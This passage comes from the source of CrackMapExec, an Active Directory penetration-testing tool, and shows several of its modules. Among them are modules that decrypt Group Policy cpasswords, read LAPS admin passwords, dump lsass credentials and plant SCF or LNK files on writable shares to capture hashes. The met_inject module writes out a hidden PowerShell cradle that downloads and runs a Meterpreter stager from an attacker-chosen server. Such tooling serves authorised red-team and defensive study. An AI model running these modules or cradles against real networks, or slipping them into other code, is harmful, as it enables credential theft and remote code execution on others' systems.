73 |                                 password = self.decrypt_cpassword(props['cpassword'])
74 | 
75 |                                 context.log.success('Found credentials in {}'.format(path))
76 |                                 context.log.highlight('Password: {}'.format(password))
77 |                                 for k,v in props.items():
78 |                                     if k != 'cpassword':
79 |                                         context.log.highlight('{}: {}'.format(k, v))
80 | 
81 |                                 hostid = context.db.get_computers(connection.host)[0][0]
82 |                                 context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
83 | 
84 |     def decrypt_cpassword(self, cpassword):
85 | 
86 |         #Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
87 | 
88 |         # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
89 |         key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
90 |         cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
91 |         password = b64decode(cpassword)
92 |         IV = "\x00" * 16
93 |         decypted = AES.new(key, AES.MODE_CBC, IV.encode("utf8")).decrypt(password)
94 |         return decypted.decode().rstrip()
95 | 
--------------------------------------------------------------------------------
/cme/modules/laps.py:
--------------------------------------------------------------------------------
 1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
 2 | 
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |       Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
 7 | 
 8 |       Initial module:
 9 |       @T3KX: https://github.com/T3KX/Crackmapexec-LAPS
10 | 
11 |       Credit: @n00py1
12 |         Reference: https://www.n00py.io/2020/12/dumping-laps-passwords-from-linux/
13 |         https://github.com/n00py/LAPSDumper
14 |     '''
15 | 
16 |     name = 'laps'
17 |     description = 'Retrieves the LAPS passwords'
18 |     supported_protocols = ['ldap']
19 |     opsec_safe = True
20 |     multiple_hosts = False
21 | 
22 |     def options(self, context, module_options):
23 |         """
24 |             COMPUTER    Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
25 |         """
26 | 
27 |         self.computer = None
28 |         if 'COMPUTER' in module_options:
29 |             self.computer = module_options['COMPUTER']
30 | 
31 |     def on_login(self, context, connection):
32 |         context.log.info('Getting LAPS Passwords')
33 |         if self.computer is not None:
34 |             searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.computer + '))'
35 |         else:
36 |             searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))'
37 |         attributes = ['ms-MCS-AdmPwd', 'sAMAccountName']
38 |         results = connection.search(searchFilter, attributes, 10000)
39 |         results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
40 | 
41 |         laps_computers = []
42 |         for computer in results:
43 |             msMCSAdmPwd = ''
44 |             sAMAccountName = ''
45 |             values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
46 |             laps_computers.append((values['samaccountname'], values['ms-mcs-admpwd']))
47 | 
48 |         laps_computers = sorted(laps_computers, key=lambda x: x[0])
49 |         for sAMAccountName, msMCSAdmPwd in laps_computers:
50 |             context.log.highlight("Computer: {:<20} Password: {}".format(sAMAccountName, msMCSAdmPwd))
51 | 
--------------------------------------------------------------------------------
/cme/modules/ldap-signing.py:
--------------------------------------------------------------------------------
 1 | from impacket.ldap import ldap
 2 | 
 3 | class CMEModule:
 4 |     '''
 5 |     Checks whether LDAP signing is required.
 6 | 
 7 |     Module by Tobias Neitzel (@qtc_de)
 8 |     '''
 9 |     name = 'ldap-signing'
10 |     description = 'Check whether LDAP signing is required'
11 |     supported_protocols = ['ldap']
12 |     opsec_safe= True
13 |     multiple_hosts = True 
14 | 
15 |     def options(self, context, module_options):
16 |         '''
17 |         No options available.
18 |         '''
19 |         pass
20 | 
21 |     def on_login(self, context, connection):
22 |         '''
23 |         Perform a second logon attempt without LDAP signing.
24 |         '''
25 |         domain = connection.domain
26 |         username = connection.username
27 |         password = connection.password
28 |         ldap_host = connection.conn.getRemoteHost()
29 | 
30 |         try:
31 |             connection = ldap.LDAPConnection('ldap://{}'.format(ldap_host))
32 |             connection.login(username, password, domain, '', '')
33 |             context.log.highlight('LDAP signing is NOT enforced on {}'.format(ldap_host)) 
34 | 
35 |         except ldap.LDAPSessionError as e:
36 | 
37 |             error_msg = str(e)
38 | 
39 |             if 'strongerAuthRequired' in error_msg:
40 |                 context.log.info('LDAP signing is enforced on {}'.format(ldap_host)) 
41 | 
42 |             else:
43 |                 context.log.error("Unexpected LDAP error: '{}'".format(error_msg))
44 | 
45 |         except Exception as e:
46 |             context.log.error("Unexpected LDAP error: '{}'".format(str(e)))
47 | 
--------------------------------------------------------------------------------
/cme/modules/lsassy_dump.py:
--------------------------------------------------------------------------------
  1 | # Author:
  2 | #  Romain Bentz (pixis - @hackanddo)
  3 | # Website:
  4 | #  https://beta.hackndo.com [FR]
  5 | #  https://en.hackndo.com [EN]
  6 | 
  7 | 
  8 | from lsassy import logger
  9 | from lsassy.dumper import Dumper
 10 | from lsassy.parser import Parser
 11 | from lsassy.session import Session
 12 | from lsassy.impacketfile import ImpacketFile
 13 | from cme.helpers.bloodhound import add_user_bh
 14 | 
 15 | class CMEModule:
 16 |     name = 'lsassy'
 17 |     description = "Dump lsass and parse the result remotely with lsassy"
 18 |     supported_protocols = ['smb']
 19 |     opsec_safe = True
 20 |     multiple_hosts = True
 21 | 
 22 |     def options(self, context, module_options):
 23 |         """
 24 |             METHOD              Method to use to dump lsass.exe with lsassy
 25 |         """
 26 |         self.method = 'comsvcs'
 27 |         if 'METHOD' in module_options:
 28 |             self.method = module_options['METHOD']
 29 | 
 30 |     def on_admin_login(self, context, connection):
 31 |         logger.init(quiet=True)
 32 |         host = connection.host
 33 |         domain_name = connection.domain
 34 |         username = connection.username
 35 |         password = getattr(connection, "password", "")
 36 |         lmhash = getattr(connection, "lmhash", "")
 37 |         nthash = getattr(connection, "nthash", "")
 38 | 
 39 |         session = Session()
 40 |         session.get_session(
 41 |             address=host,
 42 |             target_ip=host,
 43 |             port=445,
 44 |             lmhash=lmhash,
 45 |             nthash=nthash,
 46 |             username=username,
 47 |             password=password,
 48 |             domain=domain_name
 49 |         )
 50 | 
 51 |         if session.smb_session is None:
 52 |             context.log.error("Couldn't connect to remote host")
 53 |             return False
 54 | 
 55 |         dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
 56 |         if dumper is None:
 57 |             context.log.error("Unable to load dump method '{}'".format(self.method))
 58 |             return False
 59 | 
 60 |         file = dumper.dump()
 61 |         if file is None:
 62 |             context.log.error("Unable to dump lsass")
 63 |             return False
 64 | 
 65 |         parsed = Parser(file).parse()
 66 |         if parsed is None:
 67 |             context.log.error("Unable to parse lsass dump")
 68 |             return False
 69 |         credentials, tickets, masterkeys = parsed
 70 | 
 71 |         file.close()
 72 |         ImpacketFile.delete(session, file.get_file_path())
 73 |         if credentials is None:
 74 |             credentials = []
 75 |         credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")]
 76 |         credentials_unique = []
 77 |         credentials_output = []
 78 |         for cred in credentials:
 79 |             if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
 80 |                 credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
 81 |                 credentials_output.append(cred)
 82 |         self.process_credentials(context, connection, credentials_output)
 83 | 
 84 |     def process_credentials(self, context, connection, credentials):
 85 |         if len(credentials) == 0:
 86 |             context.log.info("No credentials found")
 87 |         credz_bh = []
 88 |         domain = None
 89 |         for cred in credentials:
 90 |             domain = cred["domain"]
 91 |             if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
 92 |                 domain = connection.domain # slim shady
 93 |             self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
 94 |             self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
 95 |             credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
 96 |             add_user_bh(credz_bh, domain, context.log, connection.config)
 97 | 
 98 |     @staticmethod
 99 |     def print_credentials(context, domain, username, password, lmhash, nthash):
100 |         if password is None:
101 |             password = ':'.join(h for h in [lmhash, nthash] if h is not None)
102 |         output = "%s\\%s %s" % (domain, username, password)
103 |         context.log.highlight(output)
104 | 
105 |     @staticmethod
106 |     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
107 |         host_id = context.db.get_computers(connection.host)[0][0]
108 |         if password is not None:
109 |             credential_type = 'plaintext'
110 |         else:
111 |             credential_type = 'hash'
112 |             password = ':'.join(h for h in [lmhash, nthash] if h is not None)
113 |         context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
114 | 
--------------------------------------------------------------------------------
/cme/modules/met_inject.py:
--------------------------------------------------------------------------------
 1 | from cme.helpers.powershell import *
 2 | from sys import exit
 3 | 
 4 | class CMEModule:
 5 |     '''
 6 |         Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
 7 |         Module by @byt3bl33d3r
 8 |     '''
 9 |     name = 'met_inject'
10 |     description = "Downloads the Meterpreter stager and injects it into memory"
11 |     supported_protocols = ['smb', 'mssql']
12 |     opsec_safe = True
13 |     multiple_hosts = True
14 | 
15 |     def options(self, context, module_options):
16 |         '''
17 |             SRVHOST     IP hosting of the stager server
18 |             SRVPORT     Stager port
19 |             RAND        Random string given by metasploit
20 |             SSL         Stager server use https or http (default: https)
21 |         '''
22 | 
23 |         self.met_ssl = 'https'
24 | 
25 |         if not 'SRVHOST' in module_options or not 'SRVPORT' in module_options or not 'RAND' in module_options:
26 |             context.log.error('SRVHOST and SRVPORT  and RAND options are required!')
27 |             exit(1)
28 | 
29 |         if 'SSL' in module_options:
30 |             self.met_ssl = module_options['SSL']
31 | 
32 |         self.srvhost = module_options['SRVHOST']
33 |         self.srvport = module_options['SRVPORT']
34 |         self.rand = module_options['RAND']
35 | 
36 |     def on_admin_login(self, context, connection):
37 |         # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
38 |         command = """$url="{}://{}:{}/{}"
39 |         $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
40 |         $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
41 |         if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
42 |         $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
43 |         $ProcessInfo.FileName=$PowershellExe
44 |         $ProcessInfo.Arguments="-nop -c $DownloadCradle"
45 |         $ProcessInfo.UseShellExecute = $False
46 |         $ProcessInfo.RedirectStandardOutput = $True
47 |         $ProcessInfo.CreateNoWindow = $True
48 |         $ProcessInfo.WindowStyle = "Hidden"
49 |         $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
50 |                 'http' if self.met_ssl == 'http' else 'https', 
51 |                 self.srvhost, 
52 |                 self.srvport, 
53 |                 self.rand)
54 |         context.log.debug(command)
55 |         connection.ps_execute(command, force_ps32=True)
56 |         context.log.success('Executed payload')
57 | 
--------------------------------------------------------------------------------
/cme/modules/nopac.py:
--------------------------------------------------------------------------------
 1 | # Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
 2 | # @exploitph @Evi1cg
 3 | # module by @mpgn_x64
 4 | 
 5 | from binascii import unhexlify
 6 | from impacket.krb5.kerberosv5 import getKerberosTGT
 7 | from impacket.krb5 import constants
 8 | from impacket.krb5.types import Principal
 9 | 
10 | class CMEModule:
11 | 
12 |     name = 'nopac'
13 |     description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
14 |     supported_protocols = ['smb']
15 |     opsec_safe = True
16 |     multiple_hosts = True
17 | 
18 |     def options(self, context, module_options):
19 |         '''
20 |         '''     
21 | 
22 |     def on_login(self, context, connection):
23 | 
24 |         userName = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
25 |         tgt_with_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
26 |                                                                 unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
27 |                                                                 connection.host,requestPAC=True)
28 |         context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac)))
29 |         tgt_no_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
30 |                                                                 unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
31 |                                                                 connection.host,requestPAC=False)
32 |         context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac)))
33 |         if len(tgt_no_pac) < len(tgt_with_pac):
34 |             context.log.highlight("")
35 |             context.log.highlight("VULNEABLE")
36 |             context.log.highlight("Next step: https://github.com/Ridter/noPac")
--------------------------------------------------------------------------------
/cme/modules/rdp.py:
--------------------------------------------------------------------------------
 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
 2 | from impacket.dcerpc.v5 import rrp
 3 | from impacket.examples.secretsdump import RemoteOperations
 4 | from sys import exit
 5 | 
 6 | class CMEModule:
 7 | 
 8 |     name = 'rdp'
 9 |     description = 'Enables/Disables RDP'
10 |     supported_protocols = ['smb']
11 |     opsec_safe = True
12 |     multiple_hosts = True
13 | 
14 |     def options(self, context, module_options):
15 |         '''
16 |             ACTION  Enable/Disable RDP (choices: enable, disable)
17 |         '''
18 | 
19 |         if not 'ACTION' in module_options:
20 |             context.log.error('ACTION option not specified!')
21 |             exit(1)
22 | 
23 |         if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 |             context.log.error('Invalid value for ACTION option!')
25 |             exit(1)
26 | 
27 |         self.action = module_options['ACTION'].lower()
28 | 
29 |     def on_admin_login(self, context, connection):
30 |         if self.action == 'enable':
31 |             self.rdp_enable(context, connection.conn)
32 |         elif self.action == 'disable':
33 |             self.rdp_disable(context, connection.conn)
34 | 
35 |     def rdp_enable(self, context, smbconnection):
36 |         remoteOps = RemoteOperations(smbconnection, False)
37 |         remoteOps.enableRegistry()
38 | 
39 |         if remoteOps._RemoteOperations__rrp:
40 |             ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 |             regHandle = ans['phKey']
42 | 
43 |             ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
44 |             keyHandle = ans['phkResult']
45 | 
46 |             rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00',  rrp.REG_DWORD, 0)
47 | 
48 |             rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
49 | 
50 |             if int(data) == 0:
51 |                 context.log.success('RDP enabled successfully')
52 | 
53 |         try:
54 |             remoteOps.finish()
55 |         except:
56 |             pass
57 | 
58 |     def rdp_disable(self, context, smbconnection):
59 |         remoteOps = RemoteOperations(smbconnection, False)
60 |         remoteOps.enableRegistry()
61 | 
62 |         if remoteOps._RemoteOperations__rrp:
63 |             ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 |             regHandle = ans['phKey']
65 | 
66 |             ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
67 |             keyHandle = ans['phkResult']
68 | 
69 |             rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00',  rrp.REG_DWORD, 1)
70 | 
71 |             rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
72 | 
73 |             if int(data) == 1:
74 |                 context.log.success('RDP disabled successfully')
75 | 
76 |         try:
77 |             remoteOps.finish()
78 |         except:
79 |             pass
80 | 
--------------------------------------------------------------------------------
/cme/modules/runasppl.py:
--------------------------------------------------------------------------------
 1 | class CMEModule:
 2 | 
 3 |     name = 'runasppl'
 4 |     description = "Check if the registry value RunAsPPL is set or not"
 5 |     supported_protocols = ['smb']
 6 |     opsec_safe = True
 7 |     multiple_hosts = True
 8 | 
 9 |     def options(self, context, module_options):
10 |         '''
11 |         '''
12 | 
13 |     def on_admin_login(self, context, connection):
14 | 
15 |         command = 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL'
16 |         context.log.info('Executing command')
17 |         p = connection.execute(command, True)
18 |         context.log.highlight(p)
--------------------------------------------------------------------------------
/cme/modules/scuffy.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | import ntpath
 3 | 
 4 | from sys import exit
 5 | 
 6 | class CMEModule:
 7 |     '''
 8 |         Original idea and PoC by Mubix "Rob" Fuller
 9 |         URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
10 |         Module by: @kierangroome
11 |     '''
12 | 
13 |     name = 'scuffy'
14 |     description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares'
15 |     supported_protocols = ['smb']
16 |     opsec_safe= False
17 |     multiple_hosts = True
18 | 
19 |     def options(self, context, module_options):
20 |         '''
21 |         SERVER      IP of the SMB server
22 |         NAME        SCF file name
23 |         CLEANUP     Cleanup (choices: True or False)
24 |         '''
25 | 
26 |         self.cleanup = False
27 | 
28 |         if 'CLEANUP' in module_options:
29 |             self.cleanup = bool(module_options['CLEANUP'])
30 | 
31 |         if 'NAME' not in module_options:
32 |              context.log.error('NAME option is required!')
33 |              exit(1)
34 |   
35 |         if not self.cleanup and 'SERVER' not in module_options:
36 |             context.log.error('SERVER option is required!')
37 |             exit(1)
38 |  
39 |         self.scf_name = module_options['NAME']
40 |         self.scf_path = '/tmp/{}.scf'.format(self.scf_name)
41 |         self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name))
42 |   
43 |         if not self.cleanup:
44 |             self.server = module_options['SERVER']
45 |             scuf = open(self.scf_path, 'a');
46 |             scuf.write("[Shell]" + '\n');
47 |             scuf.write("Command=2" + '\n');
48 |             scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n');
49 |             scuf.close();
50 | 
51 |     def on_login(self, context, connection):
52 |         shares = connection.shares()
53 |         for share in shares:
54 |             if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
55 |                 #print share
56 |                 context.log.success('Found writable share: {}'.format(share['name']))
57 |                 if not self.cleanup:
58 |                     with open(self.scf_path, 'rb') as scf:
59 |                         try:
60 |                             connection.conn.putFile(share['name'], self.file_path, scf.read)
61 |                             context.log.success('Created SCF file on the {} share'.format(share['name']))
62 |                         except Exception as e:
63 |                             context.log.error('Error writing SCF file to share {}: {}'.format(share['name']))
64 |                 else:
65 |                     try:
66 |                         connection.conn.deleteFile(share['name'], self.file_path)
67 |                         context.log.success('Deleted SCF file on the {} share'.format(share['name']))
68 |                     except Exception as e:
69 |                         context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e))
70 | 
--------------------------------------------------------------------------------
/cme/modules/slinky.py:
--------------------------------------------------------------------------------
 1 | import pylnk3
 2 | import os
 3 | import ntpath
 4 | from sys import exit
 5 | 
 6 | class CMEModule:
 7 |     '''
 8 |         Original idea and PoC by Justin Angel (@4rch4ngel86)
 9 |         Module by @byt3bl33d3r
10 |     '''
11 | 
12 |     name = 'slinky'
13 |     description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions'
14 |     supported_protocols = ['smb']
15 |     opsec_safe= False
16 |     multiple_hosts = True
17 | 
18 |     def options(self, context, module_options):
19 |         '''
20 |         SERVER        IP of the SMB server
21 |         NAME          LNK file name
22 |         CLEANUP       Cleanup (choices: True or False)
23 |         '''
24 | 
25 |         self.cleanup = False
26 | 
27 |         if 'CLEANUP' in module_options:
28 |             self.cleanup = bool(module_options['CLEANUP'])
29 | 
30 |         if 'NAME' not in module_options:
31 |             context.log.error('NAME option is required!')
32 |             exit(1)
33 | 
34 |         if not self.cleanup and 'SERVER' not in module_options:
35 |             context.log.error('SERVER option is required!')
36 |             exit(1)
37 | 
38 |         self.lnk_name   = module_options['NAME']
39 |         self.lnk_path  = '/tmp/{}.lnk'.format(self.lnk_name)
40 |         self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name))
41 | 
42 |         if not self.cleanup:
43 |             self.server = module_options['SERVER']
44 |             link = pylnk3.create(self.lnk_path)
45 |             link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server)
46 |             link.save()
47 | 
48 |     def on_login(self, context, connection):
49 |         shares = connection.shares()
50 |         for share in shares:
51 |             if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
52 |                 context.log.success('Found writable share: {}'.format(share['name']))
53 |                 if not self.cleanup:
54 |                     with open(self.lnk_path, 'rb') as lnk:
55 |                         try:
56 |                             connection.conn.putFile(share['name'], self.file_path, lnk.read)
57 |                             context.log.success('Created LNK file on the {} share'.format(share['name']))
58 |                         except Exception as e:
59 |                             context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e))
60 |                 else:
61 |                     try:
62 |                         connection.conn.deleteFile(share['name'], self.file_path)
63 |                         context.log.success('Deleted LNK file on the {} share'.format(share['name']))
64 |                     except Exception as e:
65 |                         context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e))
66 | 
--------------------------------------------------------------------------------
/cme/modules/spooler.py:
--------------------------------------------------------------------------------
  1 | # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
  2 | from impacket.examples import logger
  3 | from impacket import uuid, version
  4 | from impacket.dcerpc.v5 import transport, epm
  5 | from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
  6 |     RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
  7 |     RPC_PROXY_RPC_OUT_DATA_404_ERR
  8 | 
  9 | KNOWN_PROTOCOLS = {
 10 |     135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},
 11 |     445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
 12 |     }
 13 | 
 14 | class CMEModule:
 15 |     '''
 16 |         For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy
 17 |         Module by @mpgn_x64
 18 | 
 19 |     '''
 20 |     name = 'spooler'
 21 |     description = 'Detect if print spooler is enabled or not'
 22 |     supported_protocols = ['smb']
 23 |     opsec_safe= True
 24 |     multiple_hosts = True
 25 | 
 26 |     def options(self, context, module_options):
 27 |         self.port = 135
 28 |         if 'PORT' in module_options:
 29 |             self.port = int(module_options['PORT'])
 30 | 
 31 |     def on_login(self, context, connection):
 32 | 
 33 |         entries = []
 34 |         lmhash = getattr(connection, "lmhash", "")
 35 |         nthash = getattr(connection, "nthash", "")
 36 | 
 37 |         self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host
 38 |         logging.debug('StringBinding %s' % self.__stringbinding)
 39 |         rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
 40 |         rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
 41 |         rpctransport.setRemoteHost(connection.host)
 42 |         rpctransport.set_dport(self.port)
 43 | 
 44 |         try:
 45 |             entries = self.__fetchList(rpctransport)
 46 |         except Exception as e:
 47 |             error_text = 'Protocol failed: %s' % e
 48 |             logging.critical(error_text)
 49 | 
 50 |             if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
 51 |                 RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
 52 |                 RPC_PROXY_CONN_A1_404_ERR in error_text or \
 53 |                 RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
 54 |                 logging.critical("This usually means the target does not allow "
 55 |                                 "to connect to its epmapper using RpcProxy.")
 56 |                 return
 57 | 
 58 |         # Display results.
 59 |         endpoints = {}
 60 |         # Let's groups the UUIDS
 61 |         for entry in entries:
 62 |             binding = epm.PrintStringBinding(entry['tower']['Floors'])
 63 |             tmpUUID = str(entry['tower']['Floors'][0])
 64 |             if (tmpUUID in endpoints) is not True:
 65 |                 endpoints[tmpUUID] = {}
 66 |                 endpoints[tmpUUID]['Bindings'] = list()
 67 |             if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
 68 |                 endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
 69 |             else:
 70 |                 endpoints[tmpUUID]['EXE'] = 'N/A'
 71 |             endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8')
 72 |             endpoints[tmpUUID]['Bindings'].append(binding)
 73 | 
 74 |             if tmpUUID[:36] in epm.KNOWN_PROTOCOLS:
 75 |                 endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
 76 |             else:
 77 |                 endpoints[tmpUUID]['Protocol'] = "N/A"
 78 |      
 79 |         for endpoint in list(endpoints.keys()):
 80 |             if "MS-RPRN" in endpoints[endpoint]['Protocol']:
 81 |                 logging.debug("Protocol: %s " % endpoints[endpoint]['Protocol'])
 82 |                 logging.debug("Provider: %s " % endpoints[endpoint]['EXE'])
 83 |                 logging.debug("UUID    : %s %s" % (endpoint, endpoints[endpoint]['annotation']))
 84 |                 logging.debug("Bindings: ")
 85 |                 for binding in endpoints[endpoint]['Bindings']:
 86 |                     logging.debug("          %s" % binding)
 87 |                 logging.debug("")
 88 |                 context.log.highlight('Spooler service enabled')
 89 |                 break
 90 | 
 91 |         if entries:
 92 |             num = len(entries)
 93 |             if 1 == num:
 94 |                 logging.info('Received one endpoint.')
 95 |             else:
 96 |                 logging.info('Received %d endpoints.' % num)
 97 |         else:
 98 |             logging.info('No endpoints found.')
 99 | 
100 | 
101 |     def __fetchList(self, rpctransport):
102 |         dce = rpctransport.get_dce_rpc()
103 |         dce.connect()
104 |         resp = epm.hept_lookup(None, dce=dce)
105 |         dce.disconnect()
106 |         return resp
107 | 
108 | 
--------------------------------------------------------------------------------
/cme/modules/subnets.py:
--------------------------------------------------------------------------------
  1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
  2 | 
  3 | def searchResEntry_to_dict(results):
  4 |     data = {}
  5 |     for attr in results['attributes']:
  6 |         key = str(attr['type'])
  7 |         value = str(attr['vals'][0])
  8 |         data[key] = value
  9 |     return data
 10 | 
 11 | class CMEModule:
 12 |     '''
 13 |       Retrieves the different Sites and Subnets of an Active Directory
 14 | 
 15 |       Authors:
 16 |         Podalirius: @podalirius_
 17 |     '''
 18 | 
 19 |     def options(self, context, module_options):
 20 |         """
 21 |             showservers    Toggle printing of servers (default: true)
 22 |         """
 23 | 
 24 |         self.showservers = True
 25 | 
 26 |         if module_options and 'SHOWSERVERS' in module_options:
 27 |             if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1":
 28 |                 self.showservers = True
 29 |             elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0":
 30 |                 self.showservers = False
 31 |             else:
 32 |                 print("Could not parse showservers option.")
 33 | 
 34 |     name = 'subnets'
 35 |     description = 'Retrieves the different Sites and Subnets of an Active Directory'
 36 |     supported_protocols = ['ldap']
 37 |     opsec_safe = True
 38 |     multiple_hosts = False
 39 | 
 40 |     def on_login(self, context, connection):
 41 |         dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')])
 42 | 
 43 |         context.log.info('Getting the Sites and Subnets from domain')
 44 | 
 45 |         list_sites = connection.ldapConnection.search(
 46 |             searchBase="CN=Configuration,%s" % dn,
 47 |             searchFilter='(objectClass=site)',
 48 |             attributes=['distinguishedName', 'name', 'description'],
 49 |             sizeLimit=999
 50 |         )
 51 |         for site in list_sites:
 52 |             if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
 53 |                 continue
 54 |             site = searchResEntry_to_dict(site)
 55 |             site_dn = site['distinguishedName']
 56 |             site_name = site['name']
 57 |             site_description = ""
 58 |             if "description" in site.keys():
 59 |                 site_description = site['description']
 60 |             # Getting subnets of this site
 61 |             list_subnets = connection.ldapConnection.search(
 62 |                 searchBase="CN=Sites,CN=Configuration,%s" % dn,
 63 |                 searchFilter='(siteObject=%s)' % site_dn,
 64 |                 attributes=['distinguishedName', 'name'],
 65 |                 sizeLimit=999
 66 |             )
 67 |             if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
 68 |                 context.log.highlight("Site \"%s\"" % site_name)
 69 |             else:
 70 |                 for subnet in list_subnets:
 71 |                     if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
 72 |                         continue
 73 |                     subnet = searchResEntry_to_dict(subnet)
 74 |                     subnet_dn = subnet['distinguishedName']
 75 |                     subnet_name = subnet['name']
 76 | 
 77 |                     if self.showservers:
 78 |                         # Getting machines in these subnets
 79 |                         list_servers = connection.ldapConnection.search(
 80 |                             searchBase=site_dn,
 81 |                             searchFilter='(objectClass=server)',
 82 |                             attributes=['cn'],
 83 |                             sizeLimit=999
 84 |                         )
 85 |                         if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
 86 |                             if len(site_description) != 0:
